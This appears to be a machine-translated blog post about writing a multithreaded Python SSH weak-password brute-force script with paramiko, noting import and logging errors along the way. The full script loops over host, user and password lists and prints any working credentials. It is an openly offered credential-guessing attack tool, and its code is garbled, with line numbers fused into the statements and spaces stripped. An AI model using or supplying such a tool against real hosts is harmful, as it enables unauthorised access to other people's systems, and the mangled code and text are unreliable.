Practice writing an SSH weak password blasting multi-threaded script, problems encountered
1, initially want to import pexpect in the PXSSH but has always been wrong,
Importerror:cannot Import Name Spawn
Google's questions are vague and unclear. Some said that the Pexpect module is not installed, some say is the problem of Python import, because in the Lib has already had the Spawn module, and Pexpect module spawn duplicate name, so error. But it's not clear what to do about it. Finally, here we see the cause of the problem, it turns out that Pexpect does not support windows at all, and we can use the Paramiko module to solve this problem.
2, after writing the code, using multi-threading, although not error, but the result will be a warning,
Hint: No handlers could is found for logger "Paramiko.transport"
I found the solution on this website this_web. Just add one line of code.
Paramiko.util.log_to_file ("Filename.log")
Because we do not have a log configured, the root application and module do not know where to send the logs. So just log all the connections to the file.
Code ugly will see.
1 #!usr/bin/env python2 #!coding=utf-83 4 __author__='Zhengjim'5 6 ImportParamiko7 fromThreadingImportThread8 9 defConnect (host,user,pwd):Ten Try: OneSsh=Paramiko. Sshclient () A Ssh.set_missing_host_key_policy (Paramiko. Autoaddpolicy ()) -Ssh.connect (hostname=host,username=user,password=pwd,timeout=5) - ssh.close () the Print 'cracked success! User name:'+ user +', Password:'+ pwd +', host IP:'+Host - except: - Pass -Paramiko.util.log_to_file ("Filename.log") +Host=open ('Host.txt') - forLineinchHost: +Host=line.strip ('\ n') A Print 'Start blasting Host:'+Host atUser=open ('User.txt') - forLineinchUser: -User=line.strip ('\ n') -PWD =open ('Pwd.txt') - forLineinchpwd: -PWD = Line.strip ('\ n') inT=thread (target=connect,args=(host,user,pwd)) -T.start ()
Host.txt,user.txt,pwd.txt three files required in the directory
Another problem is that because of the use of multi-threading, and do not know much about multithreading, so the program can not match to the correct account password after jumping out of the loop. I hope Daniel can teach me. ~
The Python ssh weak password blasting multithreading script and some errors and problems encountered